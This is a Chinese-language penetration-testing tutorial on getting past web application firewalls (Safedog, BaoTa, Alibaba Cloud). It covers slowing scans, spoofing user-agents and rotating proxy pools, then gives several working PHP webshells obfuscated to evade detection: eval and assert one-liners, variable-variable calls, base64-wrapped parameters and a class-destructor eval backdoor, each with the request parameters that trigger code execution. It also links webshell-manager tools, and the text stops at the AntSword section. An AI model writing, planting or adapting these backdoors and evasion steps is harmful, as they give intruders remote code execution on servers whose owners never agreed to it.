0x01关于漏扫工具绕过waf方法

拿目前主流且常用的三款waf来说:safedog,宝塔,阿里云
当我们使用漏洞工具进行扫描或者目录探测的时候,总时会被目标网站的waf给拦截,导致ip被封禁,结果误报,总之就是会耽误并影响我们后续的操作,使得渗透无法进行,那么这么头疼的waf如果进行绕过呢
先说说safedog来说:
打开safedog,可以看到它存在”特征匹配”,”cc流量检测”
image.png
这些都是默认开启的,当我们的爬虫请求头user-agent字段中设置为以上搜索引擎后,就会绕过白名单
image.png
我们十秒钟只能请求100次,大于的话IP就会被检测到并且冻结,所以在编写脚本或者使用漏扫工具的时候我们就需要进行延迟
但是对于宝塔以及阿里云等其他waf来说更为严格,例如阿里云检测到恶意请求后会直接封禁IP一小时以上,宝塔对于请求会检测头部匹配特征,并且也存在流量检测头部
综合以上就是只能延迟,放慢速度,使自己伪装的像是一个正常用户在浏览,对于漏扫工具,特征码是已经存在数据包头部了,更改就会很麻烦,我们总不可能使用burp抓包,抓一个改一个,那未免也太麻烦了
所以就会结合工具来使用,或者手动开发自动化的脚本帮助我们进行目录扫描
对于延迟来说,例如我们延迟三秒(阿里云最低三秒,少一秒都会pass),对于成千上万个目录,我们如何在有效时间内进行合理的请求,并且返回结果,这tm有点扯
所以我们就需要用到代理池,不停的更换我们的请求IP,即使封掉了也无所谓,这样的IP,池子里还有很多,这里推荐一个代理池:[https://www.kuaidaili.com/](https://www.kuaidaili.com/)

0x02静态免杀Webshell绕过waf维持

很多时候当我们上传一句话木马等webshell的时候,就会被万恶的waf给拦截,亦或者当我们已经成功上传,但是在连接webshell的时候,告知恶意连接被重置等,这些都是waf的杰作
例如一句话木马webshell:
一般形式都是传统的eval
<?php @eval($_POST['x'])?>,会将eavl中的参数当作PHP代码来执行,这时参数为post方式接收到的x的值
所以eval语言结构很危险,运行执行任意PHP代码,但有一点得说明一下,eval是一个语言结果不是一个函数,所以不能被 可变函数 调用。
可变函数:通过一个变量,获取其对应的变量值,然后通过在该变量值后增加一对括号(),会让系统认为它是一个函数,从而当作函数来执行
但是assert有着与eval相同的作用,但是它可以使用可变函数,实现多样化

  1. <?php
  2. $a=$_GET['x'];
  3. $$a=$_GET['y'];
  4. $b($_POST['abc']);
  5. ?>

此时我们访问这个文件 构造?x=b&y=assert POST[abc=phpinfo();],就可以执行phpinfo
image.png
但凡换成
<?php$a='assert';$a($_POST['x']);>
亦或者<?php $a=$_GET['x'];$b=$a;$b($_POST['x'])?>都会被safedog给拦截,因为他具备变量追踪,以及特征匹配,就是匹配到了assert字符串,和追踪到了$b变量,所以,但是他只能判断代码中的字符串,无法预知用户可控的提交参数
但是宝塔以及其他waf拥有这些功能,匹配用户提交的参数是否存在,当然这也是一个特征的正则匹配罢了,例如:
宝塔就会检测我们提交的参数是否存在黑名单,检测到了就拦截
我们就可以将webshell改成这个样子:

  1. <?php
  2. $a=$_GET['x'];
  3. $$a=base64_decode($_GET['a']);
  4. $b(base64_decode($_POST['x']));
  5. ?>

在上一个webshell的基础上加上base64解密,然后在输入的参数值进行base64加密即可
image.png

类方法绕过waf

webshell源码:

  1. <?php
  2. /* 用户操作类 */
  3. class User
  4. {
  5. public $name = '';
  6. public $config = null;
  7. function __destruct(){
  8. @eval("".$config."$this->name;");
  9. }
  10. }
  11. // 生成用户
  12. $user = new User;
  13. $num = @$_POST['u'];
  14. // 传递用户信息
  15. $c = substr(base64_decode($_POST['ustinain']),0,$num);
  16. $user->name = ''.$c;
  17. ?>

解释一下,因为waf会存在变量跟踪,流量特征分析,以及关键字匹配等过滤方法,所以我们通过声明一个类,定义了User类,俩个成员变量都为空,通过外部创建user对象,且给成员方法赋值,然后调用类中的析构方法(反序列化中讲过,当类被销毁的时候,自动调用的魔术方法)从而执行eval,但是其中""$config只是起到干扰作用
image.png

0x03-动态免杀Webshell绕过waf连接

没错,当我们的webshell上传至目标站点后,当然不能靠手动给参数来进行后渗透获取目标信息等等吧,这个时候我们就需要一款省去脱裤子的工具,市面上流行的有三种:
“菜刀”:https://github.com/admintony/BypassCaiDao
“蚁剑”:https://github.com/2Quico/antSword|
蚁剑加载器:https://github.com/AntSwordProject/AntSword-Loader
“冰蝎”:Behinder_v3.0_Beta_11.t00ls.zip

菜刀

菜刀 webshell 只使用了 url 编码 + base64 编码
shell 特征就是传输参数名为z0,还存在int_set(“display_erros”,”0”)字符串特征,都是可以被waf以及其他安全防护个检测到的,我们抓取数据包测试一下:

<?php 
$a=$_GET['x'];
$$a=($_GET['a']);
$b(($_POST['x']));
?>

对于shell没有使用base64加密,因为人家不支持。。。只有设置返回数据编码很简单的功能
image.png
根据shell编辑好链接配置直接上上传,这个时候打开burp抓取一下数据包
image.png
报错了看样子好像不支持assert函数,菜刀还真是。。。。算了不复现了,菜刀传输数据只是base64加密,且数据包存在特征码,最重要的就是对于php后门只支持eval函数,而这种函数基本都过不了waf,所以没啥好测的

蚁剑